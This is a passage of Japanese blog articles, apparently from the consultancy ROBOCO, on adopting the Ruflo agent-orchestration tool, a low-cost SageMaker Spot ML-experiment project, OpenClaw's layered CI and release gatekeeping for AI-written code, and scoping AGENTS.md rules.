ただしこの領域はとくに検証が必要です。文書上のセキュリティモデルと実際の運用上のセキュリティは異なります。規制産業で使うには、ネットワーク境界、ログ保存、鍵管理、PII除去の精度、プロンプトインジェクション遮断が失敗したときのシナリオを個別にテストしなければなりません。

32個のプラグインをどう選んで使うか

Rufloのプラグイン一覧を最初に見ると、その広さに気圧されます。ですからカテゴリーに縮約して見る必要があります。

私たちのチームなら、開始時の組み合わせは次のように定めます。

最初から32個すべてを有効にするのは良い戦略ではありません。MCPツール314個は、すなわち314個の運用上の表面積でもあります。実際に使う5〜10個だけを有効にし、残りは無効にした状態で始めるほうが良いでしょう。

実務適用シナリオ3つ

一つ目は、個人開発者の学習シナリオです。すでにClaude Codeを使っていて、反復作業が多く、同じリポジトリで何日にもわたって作業しているなら、Rufloのメモリとスウォーム調整を体感しやすいでしょう。この段階ではセキュリティよりも使い勝手の検証が重要です。core、swarm、cost-tracker程度から始めて、「自分で作業を分けていた時間が減ったか」と「前の作業で得た判断が次の作業に実際に反映されるか」を見ればよいのです。

二つ目はチームPoCです。2週間ほどの期間を定め、既存のリポジトリ一つ、または性格の似たリポジトリ二つを対象に、テスト生成、文書検索、PRリスク分析といった具体的なワークフローを選びます。ここで測定すべきはstar数やプラグインの個数ではなく、作業の処理時間、失敗率、再試行回数、トークン費用、そして人がレビューしなければならない成果物の品質です。ここにもう一つ加えるべきことがあります。一つ目のプロジェクトで得たレビュー基準やテストパターンが、二つ目のプロジェクトで再利用されるかどうかを見るべきです。rag-memory、testgen、observabilityがこの段階に適しています。

三つ目はエンタープライズ、あるいはマルチクライアント環境です。このとき関心事は生産性よりも統制力です。どのデータがエージェントのあいだを移動するのか、PII除去はどこで起こるのか、失敗ログはどこに残るのか、バージョンアップグレードは誰が承認するのかを先に決めなければなりません。同時に、洞察の再利用範囲も定める必要があります。特定の顧客企業のコードやデータは共有しないが、障害対応の手順、セキュリティレビュー基準、マイグレーション検証の順序といった抽象化されたパターンだけは共有する、といった境界設定が必要です。Rufloを全面導入するよりも、federationとagentdbを狭い範囲で検証するほうが現実的です。

導入前チェックリスト

第一に、検証されていない定量的な主張を切り分ける必要があります。Rufloの文書にはHNSW検索速度、ルーティング精度、性能改善の数値が登場します。一部のリリースノートには、過去の誇張された指標を整理したという言及もあります。³ こうした数値は興味深いものの、自分たちのリポジトリと自分たちのデータで測り直すまでは、意思決定の根拠として使ってはいけません。

第二に、リリース速度をリスクとして見るべきです。2026年5月4日にもv3.6.27のリリースが上がりました。² 活発なプロジェクトだという意味ですが、本番環境では変更速度そのものがリスクです。PoCの段階からlockfile、バージョンピン、ロールバック手順を備えなければなりません。

第三に、Anthropic公式機能との責任境界を分ける必要があります。Skills、Subagents、PluginsはClaude Code公式エコシステムの概念です。Rufloはその上に載る外部レイヤーです。学習の順序としては、公式機能を先に習得し、そのあとにRufloを付ける側が良いでしょう。

第四に、Rust/WASMの強調をそのまま受け取ってはいけません。GitHubの言語統計を基準にすると、Rustの比率は0.3%と表示されます。¹ ポリシーエンジンやWASMカーネルの存在とは別に、実際のコードベースの大半はTypeScript、JavaScript、Pythonです。これが悪いという意味ではありません。ただ「Rustベースだから安全だ」といった単純な判断は避けるべきです。

結論

Rufloは、Claude Codeの次の段階がどこにあるかを最も積極的に示している候補です。100個のエージェント、合意アルゴリズム、Zero-Trustフェデレーションは、単一のコーディングアシスタントでは届きにくい領域に答えを試みています。より正確に言えば、Rufloの問いは「一つのプロジェクトをより速く終えられるか」で止まりません。「複数のプロジェクトと複数の開発者が得た洞察を、次の作業の初期値にできるか」まで進みます。ただし、道具の野心と運用上の安定性は別の問題です。

個人の学習とチームPoCであれば、いま始める価値があります。エンタープライズ導入であれば、少なくとも一四半期はチェンジログを追いながら中核プラグインの安定性を自ら測定したうえで、federationとagentdbの二軸に限定した部分採用から始めるのが安全です。マーケティングコピーを一枚めくれば、Rufloの本当の価値は「314個のツール」ではなく「エージェントが他のマシンのエージェントと安全に働けるようにするプロトコル」にあります。

ROBOCOは、Rufloをはじめとするエージェント・オーケストレーション・ツールの導入評価とPoCを支援しています。ツール選定よりも運用にどう溶け込ませるかのほうが難しい問題であれば、お気軽にお問い合わせください。 → ROBOCOコンサルティングのお問い合わせ

バイブコーディングの本当の価値は、コードを速く書くことだけにあるのではありません。高くつく実験を、より安く、より速く繰り返せる運用のあり方を設計することにあります。

たいていの人はバイブコーディングを、まずWebアプリのプロトタイピングやCRUD自動化と結びつけます。しかしROBOCOのserverless-autoresearchリポジトリは、このフレームを大きく広げます。このプロジェクトは、Andrej Karpathyのautoresearchが前提とする「H100を1台、数時間つかんでおく」やり方の代わりに、AWS SageMaker Spotの上で並列実験を短く爆発的に実行する構造を作っています。¹

この事例が興味深いのは、結果が安く出たからではありません。このリポジトリには、最初のアイデアを練り上げる深層インタビュー、計画中心のアーキテクチャ設計、クラウドインフラのデバッグ、反復実験の自動化、失敗を文書とスキルへ還元していく過程がすべて残っています。とくにdocs/vibe-coding-tutorialは、コードの説明書ではなく、対話型のAIコーディングが実際にどうエンジニアリングの成果物として固まっていくのかを示すログに近いものです。²

まず数字から整理しておく必要があります。チュートリアルは2026年3月27〜28日の初期実行区間を中心に、25回の実験、総費用0.44ドル、最高val_bpb 1.0643を記録しています。²³ 一方でリポジトリのREADMEは、その後に拡張された図として83回の実験を約3.5時間、約1.33ドルで実施する方向を示し、もとの逐次実行に比べ2.3倍速く、5〜18倍安い構造であることを強調しています。¹ つまり「0.44ドル」は初期検証の費用であり、「1.33ドル」は拡張された運用モデルの費用です。二つの数値は矛盾しておらず、異なる段階の結果です。

TL;DR

• serverless-autoresearchは、バイブコーディングをWebアプリ自動化ではなく、ML実験パイプラインとクラウド運用設計の問題へ拡張した事例です。
• 核心は、H100を長く占有するやり方の代わりに、SageMaker Spotベースの並列実験によって安い失敗と速い学習を可能にした点にあります。
• 良い結果は、コード生成量よりも、問題定義・計画・インフラ検証・失敗を文書とスキルへ還元する運用のあり方から生まれます。

1. このプロジェクトが実際に変えたこと

Karpathyのオリジナルのautoresearchは一度に一つの実験を回し、基本的にはH100のような高性能GPUを長く占有する流れに近いものです。serverless-autoresearchは、この流れを並列進化（parallel evolution）に変えました。¹⁴

核心は二つです。

• 実験一つを長くつかんでおく代わりに、複数の候補を同時に短く実行します。
• GPUを24時間つけておく代わりに、必要なときだけSpotインスタンスを立ち上げ、終わったらすぐに落とします。

このリポジトリはこれをHUGI（Hurry Up and Get Idle）パターンと呼んでいます。¹ サーバーを長く維持する代わりに、短く一気に計算してただちにアイドル状態へ戻る方式です。この単純な転換が費用構造を完全に変えます。「サーバーレス」という言葉が関数呼び出しだけを意味するのではなく、GPUワークロードにも適用可能な運用哲学であることを示しているわけです。

チュートリアルを基準に見ると、実際の検証もかなり具体的です。

つまりこのプロジェクトのポイントは「安いGPUでも動く」ことではなく、安い失敗をたくさん買えるという点にあります。⁵⁶⁷³

2. チュートリアルが示す本当のポイント

2.1 曖昧な依頼は深層インタビューで絞り込むべき

チュートリアルの最初の場面はコードではなく質問です。ユーザーは「autoresearchの実験を再現したい」という依頼とともに、必要なら深層インタビューをするよう指示します。⁸ その結果、目標は単なる再現ではなく次の三つとして定義し直されます。

• SageMaker Managed Spot Trainingベースのサーバーレス実行
• OMCベースの自律反復実験
• 教育用／デモ用に再利用可能な文書化

これは小さく見えて非常に重要な転換です。漠然とした「再現」は、しばしばオリジナルを真似るだけで終わります。一方、インタビューを経れば「何を学ぶのか」「何を自動化するのか」「何を残すのか」が明確になります。バイブコーディングはプロンプトを長く書く技術ではなく、良い問題定義を引き出すインタビューの技術に近いという事実を示しています。

2.2 実装より先に計画モードが必要

第2章でAIはすぐにコードを書きません。まず上流のautoresearchコードベースと、ユーザーの既存のSageMakerパターンを探索したうえで、候補生成器・バッチランチャー・結果収集器・選択モジュールに分かれたパイプライン構造を計画します。⁴

途中でユーザーが「クラウドの利点である並列実行とHUGIを積極的に活用せよ」という条件を追加すると、設計は逐次実行からpopulation-based parallel evolutionの構造へ変わります。⁴ この箇所は、バイブコーディングが「AIが勝手に書いたコード」ではなく、計画段階でアーキテクチャを修正できてはじめて有用性が大きくなるという点をよく示しています。

実際にチュートリアルは、このセッションで23個のファイルが作られ、make dry-runで全経路を検証したと記録しています。⁴ 重要なのは生成の速さよりも、生成の前に構造が合意されていたことです。

2.3 インフラの問題は周辺的な課題ではなく中核的な設計変数

第3章はこのプロジェクトの白眉です。コードは準備できているのに、AWSインフラが足を引っ張ります。GPU Spotのクォータは既定値が0であり、リージョンごとにSpotの可用性も極端に異なります。⁹¹⁰

チュートリアルで最も実戦的な教訓はaws ec2 get-spot-placement-scoresです。同じg7e系のインスタンスでも、us-west-2ではスコア1〜2でほとんど確保できませんが、us-east-1ではスコア9で素早く割り当てられます。⁹¹⁰ 多くのチームはここで時間を浪費します。インフラの問題を「コードができあがったあとに解決すること」と見ているからです。しかしこのリポジトリは逆のことを言います。どのリージョンを使うか、どのインスタンスを使うか、クォータがどれだけ速く承認されるかが、そのままパイプライン設計の一部なのです。

ここでもう一つ目を引くのが、GPUの種類による承認の違いです。g7eは比較的速く承認されますが、p5やp6は手動審査で何日もかかることがあります。⁹¹⁰ こうした知識はコードの中には現れません。だからこそ文書化と運用上のメモリがより重要になります。

2.4 安い実験は安い教訓を素早く与える

第4章と第5章は「安い実験」の本当の意味を示します。最初の成功実験でL40SはFlash Attention 3をきちんとサポートせずランタイムのCUDAエラーを出し、結局GPU capabilityを明示的にチェックしてPyTorch SDPAへフォールバックするロジックが入りました。⁵ この修正で最初の成功実験は回りましたが、MFUはH100比で半分程度の約20.5%にとどまりました。⁵

話はここで終わりません。次の実験ではVRAMに余裕があるのでDEVICE_BATCH_SIZEを大きくすれば良くなりそうに思えましたが、結果はむしろ悪化しました。理由は、総トークン数が増えないままgradient accumulationだけが減ったからです。⁶¹⁰ これは多くのMLチームが実際にも混同するポイントです。GPUメモリをより多く使ったからといって、学習がより多く進んだわけではありません。

このプロジェクトは、こうした誤解を安く検証します。大きな予算がかかるH100の実験で同じ間違いを繰り返していたら、はるかに高くついたはずです。

2.5 自律実験は「大胆な変更」より「小さな調整」で成果を出した

自律進化の段階で最も興味深い結果は、派手なアーキテクチャ変更ではなく、保守的な学習率の調整が最もよく効いたという点です。EMBEDDING_LRとSCALAR_LRの小さな変更は改善につながりましたが、DEPTHの増加、TOTAL_BATCH_SIZEの拡大、WINDOW_PATTERNの変更といった中規模以上の介入は、ほとんどが悪化するかタイムアウトで終わりました。⁷³

このパターンは思ったより重要です。短い5分の訓練予算では、複雑な構造変更は収束する時間を得られません。そのためこの環境でのAIエージェントは、「大胆な発明家」よりも「小さな数値を執拗に調整する運用者」であるときのほうが強いのです。バイブコーディングが常に創造的な飛躍を生むわけではなく、短いフィードバックループの中で小さな改善を素早く積み重ねることに強いという意味です。

3. 失敗をスキルへ還元するやり方がとくに良い

このリポジトリがROBOCOの観点からとくに良いのは、最後の処理の仕方です。実験が終わったあと結果を要約するところで止まらず、docs/insights.mdに12個のインサイトを整理したうえで、これをClaude Code用の再利用可能なスキルへつなげています。¹¹¹⁰

ここに収められている内容は単なるメモではありません。

• リージョンごとにSpotスコアは極端に異なります。
• 小さなインスタンスが常により安いとは限りません。
• DEVICE_BATCH_SIZEはスループットというよりVRAM使用量に近いものです。
• 安価なSpot GPUは、高価なH100訓練の前の仮説検証用プロキシとして十分に使えます。

この形の整理が、バイブコーディングの成熟度を分けます。多くのチームはAIとのセッションが終わると学んだことを忘れてしまいます。しかしうまくやるチームは、失敗を文書にし、文書を再びスキルとルールに変えます。そうすれば次のセッションの品質が上がります。つまり生産性の源泉がモデルそのものではなく、蓄積される運用知識になるのです。

4. ROBOCOがここから見る結論

serverless-autoresearchは、バイブコーディングがおもちゃレベルのアプリ制作を超えて、ML実験パイプラインとクラウド運用設計まで扱えることを示しています。そしてその成否は、コード生成量よりも次の四つにかかっています。

• 最初の依頼をどれだけうまくインタビューして問題を絞り込むか
• 実装の前にアーキテクチャをどれだけ明確に合意するか
• インフラと費用構造をどれだけ速く検証するか
• 失敗をどれだけ速く文書とスキルへ還元するか

結局のところ、このプロジェクトの中心的なメッセージは単純です。バイブコーディングはエンジニアリングを置き換えません。その代わり、エンジニアリングの中心を自分でタイピングする仕事から問い、設計し、実験し、教訓を蓄積する仕事へ移します。serverless-autoresearchは、その移動が実際にどのような姿をしているのかをよく示す事例です。

オリジナルのリポジトリとチュートリアルを併せて読むと、「AIがコードを書いてくれた」よりもはるかに興味深い場面が見えてきます。AIとともに実験システムそのものを設計した過程が残っているからです。¹²

31万スターのプロジェクトに押し寄せる数千件のPRと、8つのAIエージェントによる並列コミット。この混沌のなかで品質が崩れない秘訣は、5層の自動化されたゲートキーピングにあります。

以前の記事では、OpenClawのAGENTS.mdに込められた生産性の原則を分析しました。あの記事の核心は「ルールを書くこと」でした。しかし、ルールを書くことと、ルールを強制することはまったく別の問題です。

OpenClawはGitHubで最も多くのスターを集めたリポジトリ（31万以上）であり、バイブコーディングの代表的な事例です。¹ このプロジェクトは、2つの極端な圧力を同時に受けています。1つはメンテナーのPeter Steinbergerが3〜8個のAIエージェントを同時に走らせながら生み出す内部変更であり、もう1つは世界中のコントリビューターがAIの補助で作成して提出する数千件の外部PRです。

AGENTS.mdに「これをするな」と書くのはソフトガードレールです。AIエージェントはたいてい従いますが、常に従うとは限りません。外部コントリビューターは、そのルールの存在すら知らない可能性があります。そこでOpenClawは、ルールの上に5層の自動化された強制メカニズムを積み上げました。この記事では、そのメカニズムを解剖します。

TL;DR

• OpenClawの品質管理はルール文書だけではなく、プリコミット、pnpm check、CI、PR自動化、リリースゲートが重なった5層構造で機能しています。
• 自動修正できる問題はツールが直し、型エラー・セキュリティ・アーキテクチャ境界のような危険な問題は遮断するという形で、多層防御をつくります。
• バイブコーディング時代の目標は、AIが悪いコードを絶対に書かないようにすることではなく、悪いコードが本番に到達しないようにすることです。

第1層：コミット前に捕まえる — ローカルのプリコミット

OpenClawの最初の防衛線は、コードがリポジトリに到達する前から機能します。git-hooks/pre-commitはpackage.jsonのprepareスクリプトを通じて自動的に有効化され、コミットのたびに実行されます。

動作の順序が興味深いところです。

1. ステージされたファイルを種類別にフィルタリング
2. oxlint --type-aware --fix — リントエラーを自動修正
3. oxfmt --write — フォーマットを自動修正
4. 修正されたファイルを再びステージング
5. pnpm check — 品質ゲート全体を実行

核となる設計は自動修正と遮断の分離です。フォーマットやリントエラーのように機械的に直せる問題は、フックが自分で直して通します。しかし、型エラーやアーキテクチャ境界の違反のように判断を要する問題は、コミット自体を遮断します。この区別がないと、エージェントは些細なフォーマットエラーで止まるか、構造的な欠陥をそのまま通してしまうかのどちらかになります。

これに加えて.pre-commit-config.yamlは、CIのsecurity-fastジョブでも実行される17個のセキュリティ・品質フックを定義しています。detect-private-keyとdetect-secretsでシークレットの流出を遮断し、zizmorでGitHub Actionsワークフローのセキュリティを監査し、pnpm-audit-prodで本番依存関係の既知の脆弱性を検査します。

第2層：1つのコマンドで10種類を検証する — pnpm check

pnpm checkは、ローカルのフックとCIの両方で実行される単一の品質ゲートです。1つのコマンドの背後に10個以上のチェックがチェーンされています。

pnpm check =
  check:no-conflict-markers          # マージコンフリクトマーカーがないこと
  check:host-env-policy:swift         # Swiftホスト環境のセキュリティポリシー
  check:base-config-schema            # 設定スキーマのドリフトチェック
  check:bundled-plugin-metadata       # プラグインメタデータの一貫性
  check:bundled-provider-auth-env-vars # プロバイダー認証の環境変数の一貫性
  format:check (oxfmt)                # フォーマット検証
  tsgo                                # TypeScriptネイティブ型チェック
  plugin-sdk:check-exports            # プラグインSDKのエクスポート一貫性
  lint (oxlint --type-aware)          # 型認識リンティング
  + 約15個のカスタムアーキテクチャ境界リントスクリプト

ここで最も注目すべきは最後の行です。一般的なリンターは「使われていない変数」や「セミコロンの欠落」といったコードレベルの問題を捕まえます。しかしOpenClawのカスタム境界ガードスクリプトは、アーキテクチャレベルの違反を捕まえます。Extensionがコアのsrc/**を直接インポートしたり、プラグインSDKの内部パスを参照したり、パッケージルートの外へ相対パスを伸ばしたりするのを検出します。

これは以前の記事で分析したAGENTS.mdのインポート境界ルールがコードとして実装されたものです。ルール文書に「するな」と書いたことを、CIが実際に検証して遮断します。ルールと検証の二重の壁です。

第3層：15個の並列ジョブがすべての変更を検査する — CIワークフロー

OpenClawのci.ymlは、PRとmainへのプッシュで実行されるメインのゲートキーパーです。約15個の並列ジョブで構成され、ドラフトPRはスキップします。

スマートルーティング：速度と徹底性の両立

すべての変更にすべてのテストを走らせれば徹底的ですが、遅くなります。関連するテストだけを走らせれば速いものの、見落としが生じます。OpenClawはpreflightジョブでこのジレンマを解決します。

preflightジョブは変更されたファイルのスコープを検出し、CIマニフェストを生成します。ドキュメントだけを変更したならドキュメントチェックだけを、Swiftファイルに触れたならmacOSのビルドとテストを追加し、特定のExtensionだけを変更したなら該当Extensionのテストだけを実行します。このスマートルーティングが、「遅いが徹底的な」CIと「速いが不完全な」CIのあいだのバランスをつくります。

CIジョブの全体構造

とりわけ印象的なのは、check-additionalジョブのアーキテクチャ境界ガードです。プラグイン→Extensionのインポート違反、Extension SDKの内部パス参照、生のwindow.openの使用、ゲートウェイwatchの回帰などをカスタムスクリプトで検出します。一般的なCIパイプラインでは見られない、バイブコーディング環境に特化したガードレールです。

第4層：数千件のPRを人手なしで仕分けする — PRライフサイクルの自動化

31万スターのプロジェクトには、数千件のイシューとPRが押し寄せます。メンテナーが1つずつ仕分けるのは不可能です。OpenClawは3つの自動化ワークフローでこの問題を解決しています。

自動ラベリング：変更ファイルがそのままラベルになる

labeler.ymlワークフローは、PRが開かれると変更されたファイルパスを分析してラベルを自動付与します。21個のチャネルラベル（channel: discord、channel: telegramなど）、4個のアプリラベル（app: ios、app: androidなど）、8個の領域ラベル（gateway、agents、securityなど）、30個以上のExtensionラベルが定義されています。

さらに、PRサイズラベル（XS/S/M/L/XL）を行数ベースで自動付与し、メンテナーラベルをチームメンバーシップから判別し、beta-blockerラベルをPRタイトルから自動検出します。これらのラベルが、次の段階の自動応答システムをトリガーします。

自動応答：ノイズを自動でふるい落とす

auto-response.ymlは、ラベルにもとづいてPRとイシューを自動処理します。このワークフローのルールは、実際の運用経験から蓄積されたものです。

スパム／ノイズの遮断：

• r: spamまたはr: moltbookラベル → 自動クローズ + ロック
• dirtyラベル、またはラベルが20個を超えるPR → 「noisy PR」メッセージとともにクローズ

コミュニティ行動の制限：

• 非メンテナーのオープンPRが10個を超えると → r: too-many-prsラベルを付与して自動クローズ
• イシュー／PRでメンテナーを3名以上メンションすると → スパムping警告メッセージ

適切なチャネルへの案内：

• r: skill → スキル関連の質問はClawHubへ案内してクローズ
• r: support → サポート要請はDiscordへ案内してクローズ
• r: no-ci-pr → CI設定のみを変更するPRを却下

1人あたりPR10個の上限は、とりわけバイブコーディング時代に重要です。AIツールでPRを大量生産しやすくなった環境で、1人がレビューキューを独占するのを防ぎます。CONTRIBUTING.mdもこれを明示しています。“Keep PRs focused (one thing per PR; do not mix unrelated concerns)”²

ライフサイクル管理：放置されたPRは自動で整理する

stale.ymlは毎日実行され、放置されたイシューとPRを整理します。イシューは7日後にstale表示 → 5日後にクローズ、PRは5日後にstale → 3日後にクローズ。クローズされたイシューは48時間後にロックされます。enhancement、maintainer、pinned、securityラベルが付いた項目は免除されます。

PRの寿命がイシューより短いのが目を引きます（5+3日 vs 7+5日）。コード変更は時間が経つほどコンテキストから遠ざかり、コンフリクトの可能性が高まるからです。

PRテンプレート：証拠を構造的に要求する

OpenClawのPRテンプレートは、一般的な「何をしたか」のレベルを超えて、証拠にもとづくレビューを強制します。

必須セクションのなかでも、とくに注目すべき部分です。

• What did NOT change (scope boundary)：変更していない範囲を明示的に宣言します。AIエージェントがつくった変更はスコープが広がりやすいため、意図的な境界を宣言させることで、レビュアーがスコープクリープを検知できるようにします。
• Security Impact：権限、シークレット、ネットワーク、ツール実行、データアクセスの変更有無をそれぞれYes/Noでチェックします。「セキュリティに影響がありますか？」という曖昧な問いの代わりに、具体的な表面を1つずつ点検させます。
• Evidence：失敗→成功のテスト、トレース／ログ、スクリーンショットのうち最低1つの添付が必須です。
• Human Verification：検証したシナリオ、エッジケース、そして検証していないことを明示します。

最後の項目がとくに重要です。「何をテストしたか」だけを問えば、PR作成者は成功したケースだけを並べます。「何をテストしていないか」を問えば、レビュアーはリスク領域をただちに把握できます。

第5層：取り消せない行動の前で立ち止まる — リリースゲート

CIは完全自動ですが、リリースは決して自動ではありません。OpenClawのリリースパイプラインは、手動トリガー + 環境承認 + 多段階検証で構成されています。

NPMリリース：19段階のシーケンス

openclaw-npm-release.ymlはworkflow_dispatchでのみトリガーされます。自動リリースはありません。実行されると、次の検証を順番に通過します。

1. タグフォーマットの検証
2. pnpm check + pnpm build + pnpm release:check
3. npmバージョンの一意性の確認
4. npm-release環境の承認 → @openclaw/openclaw-release-managersチームメンバーによる明示的な承認が必須
5. mainブランチからの実行のみを強制
6. その後の19段階シーケンス：タグ作成 → npm preflight → mac preflight（公開＋非公開）→ 実際のパブリッシュ → アセット検証 → appcastの更新

CODEOWNERS：セキュリティ表面を物理的にロックする

CODEOWNERSは、GitHubが強制するハードガードレールです。AGENTS.mdの「セキュリティファイルに触れるな」がソフトガードレールだとすれば、CODEOWNERSは該当チームのレビュー承認なしにはマージ自体を不可能にします。

@openclaw/secops が保護する表面：

• セキュリティコード：src/security/、src/secrets/、ゲートウェイの認証／シークレット、エージェントサンドボックス
• セキュリティインフラ：dependabot、CodeQL、SECURITY.md
• セキュリティドキュメント：認証、サンドボックス化、シークレット関連のドキュメント全体

@openclaw/openclaw-release-managers が保護する表面：

• リリースワークフロー、パブリッシュスクリプト、リリースドキュメント

CODEOWNERSファイル自体は@steipete（創始者）だけが修正できます。ゲートキーパーを保護するゲートキーパーです。

AIエージェント用のスキルゲート

リリースとPR管理のためのAIエージェントスキルにも、ゲートがあります。

$openclaw-pr-maintainerスキルは、バグ修正PRに対して証拠の基準を強制します。イシューのテキストやAIの推論だけではマージできません。症状の証拠、検証された根本原因（ファイル／行レベル）、関連するコードパスの修正、回帰テストが必要です。一括クローズ／再オープンが5件を超える場合は、必ずユーザーの確認を得なければなりません。

$openclaw-release-maintainerスキルは、バージョン番号の変更とnpm publishの両方について、各段階ごとにオペレーターの承認を要求します。スキルは自動化を助けますが、不可逆な行動は依然として人間が最終決定します。

5層がつくる多層防御

この5層を1枚の図として見ると、コードが本番に到達するまでに通過する多層防御（defense in depth） が浮かび上がります。

[開発者／エージェント]
       ↓
  第1層：プリコミット ── フォーマット／リントの自動修正、型／境界違反の遮断
       ↓
  第2層：pnpm check ─── 10以上のチェックのチェーン、15以上のアーキテクチャ境界ガード
       ↓
  第3層：CI ─────────── 15個の並列ジョブ、クロスプラットフォーム、セキュリティスキャン
       ↓
  第4層：PR自動化 ───── ラベル仕分け、ノイズフィルター、証拠ベースのテンプレート、stale整理
       ↓
  第5層：リリース ───── 手動トリガー、環境承認、CODEOWNERS、19段階の検証
       ↓
  [本番]

各層は独立しています。プリコミットが失敗してもCIが捕まえ、CIを迂回してもPRレビューが引っかけ、PRが通ってもリリースゲートが止めます。1つの層が破られても、次の層が防御します。

設計原則7つ

OpenClawのゲートキーピングから抽出した設計原則を整理します。

1. 自動修正と遮断を分離する

フォーマット／リントエラーは自動修正、型／境界違反はハード遮断。エージェントのフローを不必要に断ち切らずに、構造的な欠陥は通さないようにします。

2. スマートルーティングで速度を維持する

すべての変更にすべてのテストを走らせません。変更のスコープを検出し、関連するジョブだけを実行します。速いフィードバックと徹底した検証は両立できます。

3. ルール文書と自動検証を重ねる

AGENTS.mdに「するな」と書き、CIで実際に違反を検出します。ソフトガードレールとハードガードレールの二重の壁が、多層防御をつくります。

4. PRに証拠を構造的に要求する

「何をしたか」だけでなく、「何をしなかったか」「どんな証拠があるか」「セキュリティ影響はあるか」を構造的に問いましょう。レビュアーが判断すべき情報を、作成者にあらかじめ提供させるのです。

5. コミュニティのノイズを自動でフィルタリングする

1人あたりPR10個の上限、staleの自動クローズ、ラベルにもとづく自動クローズ／案内、メンテナーへのpingスパム検出。メンテナーのアテンションは有限な資源であり、自動トリアージがその資源を守ります。

6. 不可逆な行動の前では立ち止まる

CIは完全自動でも、リリースは手動トリガー + 環境承認。AIエージェントスキルも、バージョン変更とパブリッシュは毎段階の承認が必要です。「速く動く。ただし、取り消せない行動の前では立ち止まる」ということです。

7. ゲートキーパーを保護するゲートキーパーを置く

CODEOWNERSファイルは創始者だけが修正できます。リリースワークフローはリリースマネージャーチームだけが修正できます。セキュリティコードはsecopsチームの承認なしにはマージできません。ゲートキーピングのシステム自体を保護するメタ層があるのです。

自分のプロジェクトに適用するには

OpenClawの5層すべてを一度に導入する必要はありません。難易度順に整理すると、次のようになります。

最もROIが高いのは、pre-commitフックとPRテンプレートです。どちらも1日以内に導入でき、効果もすぐに現れます。残りは、プロジェクトの規模とリスクに合わせて段階的に追加していけばよいでしょう。

バイブコーディング時代の品質管理は、「AIが悪いコードを書かないようにすること」ではありません。AIはときどき悪いコードを書きます。人間も同じです。核心は、悪いコードを本番に到達させないことです。OpenClawの5層ゲートキーピングは、その方法を示してくれます。

AGENTS.mdの役割は開発者を複製することではなく、事故を防ぐべき境界だけを固定することにある。

バイブコーディングを導入したチームは、まもなく似たような問いに直面します。リポジトリごとにAGENTS.mdやCLAUDE.mdを置いてAIエージェントに規則を伝え始めると、どこまでを共通規則として固定し、どこからを個人の好みとして残しておくべきなのかが曖昧になるからです。この境界を誤ると、二つの問題が同時に生じます。必ず守るべき安全規則は緩くなり、逆に好みに近い選択は不必要に硬直化するのです。

最近のバイブコーディング論議で頻繁に登場する観点も似ています。人間はシステムアーキテクチャや好みのような高次の判断に集中し、実装やボイラープレート、反復的なリファクタリングはエージェントに任せよ、というものです。これを実務的に翻訳すれば単純です。リポジトリには「誰が作業しても同じでなければならないもの」を残し、人によって違ってもよい領域はあえて強制しないことです。

この問いは理論にとどまりません。先に整理した[OpenClaw事例分析]¹と[OpenClawのAGENTS.md解剖]²を見ると、実際に生産性を生んだ規則は好みの統一ではなく、境界の明示性でした。Steinbergerもまた、最近はコードをすべて読むわけではないが、システム構造と設計はずっと握り続けていると説明しています。³⁴ OpenClawが強く固定したのもタブとスペースではなく、import boundary、ビルドゲート、マルチエージェントの安全規則、そして不可逆な作業の承認境界です。⁵

肝心なのは多く書くことではなく、何を閉じて何を開いておくかを設計することです。

TL;DR

• リポジトリ規則はチームの好みを複製する文書ではなく、事故のコストが大きい境界を固定する文書であるべきです。
• ビルド、テスト、セキュリティ、Gitの安全規則、アーキテクチャ境界はリポジトリとともに管理しなければなりません。
• 命名のニュアンスやコメントスタイルのような好みは、formatter、linter、テンプレート、個人プロンプトで扱うほうが適しています。

なぜこの区分が重要なのか

AIエージェントは規則を素早く守ります。問題は、規則の性格を自分では区別できないという点にあります。リポジトリの指針にビルドコマンド、シークレットの扱い、ブランチの安全規則のように必ず守らなければならない制約と、「私ならこう書く」という水準の好みが混ざっていると、エージェントは両者を同じ重さで扱います。すると重要な規則は埋もれ、さほど重要でない規則は過度に増幅されます。

たとえばpnpm testを通さずにマージすればバグが出ます。実際のシークレットをコミットすれば事故になります。認証フローや決済の権限ロジックを十分な検討なしに変えれば運用リスクが生じます。こうしたものは議論の余地のない運用契約です。一方、関数名をfindUserにするかgetUserByIdにするか、テストファイルをソースの隣に置くか__tests__にまとめるか、importをどの順序で並べるかは、結果に影響を与えることはあっても、たいていは正解が一つに固定されるわけではありません。

この違いを区別しなければ、リポジトリの文書はすぐに肥大化します。あらゆる選好を中央の規則に引き上げれば、エージェントは文書を読むことにより多くのコンテキストを使い、チームは些細なスタイル合意に不要なエネルギーを費やします。逆に客観的な制約を好みの水準で扱えば、マルチエージェント環境で衝突と手戻りが繰り返されます。

結局、良いAGENTS.mdはチームの好みの辞書を作る文書ではなく、事故のコストが大きい領域の境界を明確に引いておく文書であるべきです。

OpenClawが実際に示したもの

以前の記事で整理したとおり、OpenClawのAGENTS.mdは単なるスタイルガイドではなく運用契約です。² 興味深いのは、その文書が「開発者をどう複製するか」よりも「エージェントがどこで事故を起こしうるか」にはるかに強く集中している点です。実際の指針を見ると、ビルド成果物やモジュール境界に影響を与えうる変更にはpnpm buildの通過をハードゲートとして要求し、@ts-nocheckのような典型的な回避パターンも明示的に禁止しています。⁵

たとえばOpenClawは、拡張が内部実装に直接手を出せないようにimport境界を規則としてロックしています。またgit stashの禁止、任意のブランチ切り替えの禁止、原子的なコミットの維持といったマルチエージェントの安全規則を置いています。ビルドとテストもハードゲートとソフトゲートに分け、いつ必ず検証しなければならないのかを明確に書いてあります。²⁵

逆にその文書は、「セミコロンを必ず使え」「関数名は必ずこういうトーンでつけろ」といった個人の好みを中心に設計されてはいません。つまりOpenClawが示した核心は単純です。リポジトリ文書が扱うべきなのは美的な統一感ではなく、構造的な安全性なのです。

リポジトリとともに管理すべき規則

以下はリポジトリとともにバージョン管理されるべき領域です。共通点は一つです。違反したときにバグ、衝突、セキュリティ事故、運用の混乱が発生するという点です。

• ビルドとテストのコマンド
• マルチエージェント環境におけるGitの安全規則
• 公開APIサーフェス、import boundary、パッケージ境界のようなアーキテクチャ制約
• シークレット、個人情報、運用設定値のようなセキュリティ境界
• 認証、決済、権限、DBスキーマのように手動レビューが必要な高リスク領域
• PR／コミットの単位のような変更管理の原則
• Research → Plan → Implementのように誤りのコストを下げる作業順序
• AI利用時の透明性要件
• チームがすでに検証済みの品質ゲートと自動化基準

これらの項目は「良さそうな推奨」ではなく、リポジトリの運用契約に近いものです。

